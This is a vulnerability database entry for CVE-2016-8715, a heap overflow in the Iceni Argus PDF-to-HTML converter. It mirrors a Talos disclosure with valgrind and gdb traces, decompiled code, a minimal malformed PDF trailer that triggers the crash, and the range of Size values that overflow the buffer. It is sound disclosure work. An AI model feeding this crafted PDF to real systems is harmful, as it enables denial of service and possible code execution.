Vulnerabilities > CVE-2016-8715 - Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Iceni Argus 6.6.05

047910
CVSS 7.8 - HIGH
Attack vector
LOCAL
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
local
low complexity
iceni
CWE-119

Summary

An exploitable heap corruption vulnerability exists in the loadTrailer functionality of Iceni Argus version 6.6.05. A specially crafted PDF file can cause a heap corruption resulting in arbitrary code execution. An attacker can send/provide a malicious PDF file to trigger this vulnerability.

Vulnerable Configurations

Part Description Count
Application
Iceni
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Seebug

bulletinFamilyexploit
description### Summary An exploitable heap corruption vulnerability exists in the loadTrailer functionality of Iceni Argus version 6.6.05. A specially crafted PDF file can cause a heap corruption resulting in arbitrary code execution. An attacker can send/provide a malicious PDF file to trigger this vulnerability. ### Tested Versions Iceni Argus Version 6.6.05 (Sep 22 2016) NK Linux x64 ### Product URLs http://www.iceni.com/legacy.htm ### CVSSv3 Score 8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ### Details ``` This vulnerability is present in the Iceni Argus PDF which is used inter alia to convert PDF files to (X)HTML form. ``` This product is mainly used by MarkLogic for PDF document conversions as part of their web based document search and rendering. A specially crafted PDF file can lead to an heap corruption and ultimately to remote code execution. ``` Let's investigate this vulnerability. After executing the PDF to HTML converter with a malformed pdf file as an input we can easily observe in the output of valgrind that an out of bounds write has occurred: Parsing macros... Macro synth-bookmarks='true' Macro image-output='true' Macro text-output='true' Macro zones='false' Macro ignore-text='true' Macro remove-overprint='false' Macro illustrations='true' Macro line-breaks='true' Macro image-quality='75' Macro page-start='' Macro page-end='' Macro document-start='' Macro document-end='' features='11140221' Processing... ==59595== Invalid write of size 4 ==59595== at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so) ==59595== by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert) ==59595== Address 0x49d0d40 is 49,176 bytes inside a block of size 49,179 alloc'd ==59595== at 0x402A17C: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so) ==59595== by 0x81A880A: icnMalloc (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80677F8: _icnChainCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8090C16: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert) ==59595== ==59595== ==59595== Process terminating with default action of signal 11 (SIGSEGV) ==59595== Access not within mapped region at address 0x4AB3000 ==59595== at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so) ==59595== by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert) ``` we see that memset in `loadTrailer` function causes an overflow in tje buffer allocated in `ipDocCreate`. We will now analyze the `loadTrailer` function and try to figure out where the memset `size` parameter is coming from and in which conditions it will cause overflows. A pseudo code fragment of `loadTrailer` looks like this: ``` Line 1 int __usercall loadTrailer@<eax>(_DWORD *a1@<eax>, int *a2@<edx>, int a3@<ecx>) Line 2 { Line 3 Line 4 (...) Line 5 v17 = ipDictFindType(v16, "Root", 10); Line 6 v142 = 0; Line 7 if ( v17 ) Line 8 v142 = *(v17 + 1); Line 9 v18 = ipDictFindType(v138, "Size", 5); Line 10 if ( !v18 ) Line 11 { Line 12 if ( icnErrorGetCode(v20, v19) ) Line 13 goto LABEL_27; Line 14 v143 = 0; Line 15 v144 = 0; Line 16 v165 = 0; Line 17 goto LABEL_54; Line 18 } Line 19 v21 = *(v18 + 1); Line 20 (...) Line 21 v166 = 2 * v21; Line 22 if ( (2 * v21) < 500 ) Line 23 LABEL_54: Line 24 v166 = 500; Line 25 (...) Line 26 v81 = icnChainAlloc(v135->pdword234, 24 * v166); Line 27 if ( !v81 ) Line 28 goto LABEL_27; Line 29 memset(v81, 0, 24 * v166); Line 30 ``` In the above listing we see that the memset `size` parameter strongly depends on the `Size` field value at Line 9, which comes directly from a file. This value takes a part in couple arithmetic operations: at lines 21 and 29 and the result of that is used as a parameter to memset. At line 26 we see potential (re)allocation for the same value `24*v166` as used later for memset but that doesn't seem to happen and the code ends up overflowing a buffer allocated in `ipDocCreate`. Let's take a look at `icnChainAlloc`: ``` Line 1 char *__cdecl icnChainAlloc(void *bufferStruct, int allocSize) Line 2 { Line 3 signed int v8; // edi@9 Line 4 (...) Line 5 v8 = (allocSize + 3) & 0xFFFFFFFC; Line 6 while ( 1 ) Line 7 { Line 8 if ( v8 <= v7->chunkSize ) Line 9 goto LABEL_17; Line 10 if ( !v7->nextChunk ) Line 11 break; Line 12 v7 = v7->nextChunk; Line 13 } Line 14 v9 = (allocSize + 3) & 0xFFFFFFFC; Line 15 if ( v8 < v7->dwordC ) Line 16 v9 = v7->dwordC; Line 17 v10 = icnChainCreate(v9); Line 18 if ( v10 ) Line 19 { Line 20 v7->nextChunk = v10; Line 21 v7 = v10; Line 22 *bufferStruct = v10; Line 23 LABEL_17: Line 24 v11 = v7->pvoid4; Line 25 v7->chunkSize -= v8; Line 26 v7->pvoid4 = &v11[v8]; Line 27 *bufferStruct = v7; Line 28 return v11; Line 29 } Line 30 return 0; ``` At line 17, we see that a new allocation can occur for specified value `allocSize` but before this line is reached a couple of checks need to be passed. Inside the while loop starting at line 6 we see a check (line 8) where `allocSize` is compared with the available chunks size (the application uses a custom allocator for objects), but the comparison is made for a signed value (see the definition of the `v8` var at line 3). If the value of `allocSize` is bigger than INT_MAX (generally, a negative value), the check at line 8 will be true and the allocation for new space will not happen. The existing chunk of allocated memory will be returned and used later in the memset. An example of a PDF which leads to overflow situation looks like this : ``` %PDF-1 1 0 obj <</Kids[<</Parent 1 0 R>>]>> trailer <</Size -1/Root<</Pages 1 0 R>>>> ``` The value of the `Size` field is set to -1 what cause that we land in `icnChainAlloc` with the following parameters. ``` Breakpoint 1, 0x08160dc0 in loadTrailer () gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0x9964288 (0x09964288) EBX: 0x8fbc6e8 --> 0x8fbbe90 --> 0x1 ECX: 0xf7a09008 --> 0x0 EDX: 0x0 ESI: 0xf7a09244 --> 0x1 EDI: 0x9964368 --> 0x0 EBP: 0xf7a09008 --> 0x0 ESP: 0xfffc6bf0 --> 0x9964288 (0x09964288) EIP: 0x8161808 (call 0x80679f0 <icnChainAlloc>) EFLAGS: 0x283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x81617fb: mov ecx,DWORD PTR [esp+0x38] 0x81617ff: mov eax,DWORD PTR [ecx+0x234] 0x8161805: mov DWORD PTR [esp],eax => 0x8161808: call 0x80679f0 <icnChainAlloc> 0x816180d: mov ecx,DWORD PTR [esp+0x28] 0x8161811: mov edx,DWORD PTR [esp+0x30] 0x8161815: mov DWORD PTR [edi+0x2c],eax 0x8161818: mov eax,DWORD PTR [esp+0x44] Guessed arguments: arg[0]: 0x9964288 (0x09964288) arg[1]: 0xffffffd0 [------------------------------------stack-------------------------------------] 0000| 0xfffc6bf0 --> 0x9964288 (0x09964288) 0004| 0xfffc6bf4 --> 0xffffffd0 0008| 0xfffc6bf8 --> 0x5 0012| 0xfffc6bfc --> 0x0 0016| 0xfffc6c00 --> 0xfffc6cb4 --> 0xf7d678a4 --> 0x56ed 0020| 0xfffc6c04 --> 0xfffc6c28 --> 0xf7a09008 --> 0x0 0024| 0xfffc6c08 --> 0xfffc6c20 --> 0x0 0028| 0xfffc6c0c --> 0x804baea ("strtod") [------------------------------------------------------------------------------] Legend: code, data, rodata, value ``` Of course `0xffffffd0` passes all mentioned constraints leading to situation where proper space is not allocated. Because the value passed to `icnChainAlloc` just needs to be a negative value and we have direct influence on the `Size` field, we can easily calculate entire range of values which will cause that situation. (0x80000000 / 2 ) / 24 = 0x2aaaaaa 0x2aaaaaa + 1 = 0x2aaaaab ( 44739243 ) So all values from 0x2aaaaab to 0xffffffff used as a value in Size field will lead to an overflow. ### Crash Information ``` Parsing macros... Macro synth-bookmarks='true' Macro image-output='true' Macro text-output='true' Macro zones='false' Macro ignore-text='true' Macro remove-overprint='false' Macro illustrations='true' Macro line-breaks='true' Macro image-quality='75' Macro page-start='' Macro page-end='' Macro document-start='' Macro document-end='' features='11140221' Processing... ==59595== Invalid write of size 4 ==59595== at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so) ==59595== by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert) ==59595== Address 0x49d0d40 is 49,176 bytes inside a block of size 49,179 alloc'd ==59595== at 0x402A17C: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so) ==59595== by 0x81A880A: icnMalloc (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80677F8: _icnChainCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8090C16: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert) ==59595== ==59595== ==59595== Process terminating with default action of signal 11 (SIGSEGV) ==59595== Access not within mapped region at address 0x4AB3000 ==59595== at 0x403087D: memset (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so) ==59595== by 0x8161840: loadTrailer (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8161A01: ipDocXRefLoad (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8090D04: ipDocCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x806A3EB: icnDocCreate (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80556A6: dumpFile (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x80558E2: dumpCommandLine (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8051EF4: icnArgusExtract (in /home/icewall/bugs/cvtpdf/convert) ==59595== by 0x8050F75: main (in /home/icewall/bugs/cvtpdf/convert) ``` ### Timeline * 2016-10-10 - Vendor Disclosure * 2017-02-27 - Public Release ### CREDIT * Discovered by Marcin 'Icewall' Noga of Cisco Talos.
idSSV:96558
last seen2017-11-19
modified2017-09-21
published2017-09-21
reporterRoot
titleIceni Argus icnChainAlloc Signed Comparison Code Execution Vulnerability(CVE-2016-8715)

Talos

idTALOS-2016-0228
last seen2019-05-29
published2017-02-27
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0228
titleIceni Argus icnChainAlloc Signed Comparison Code Execution Vulnerability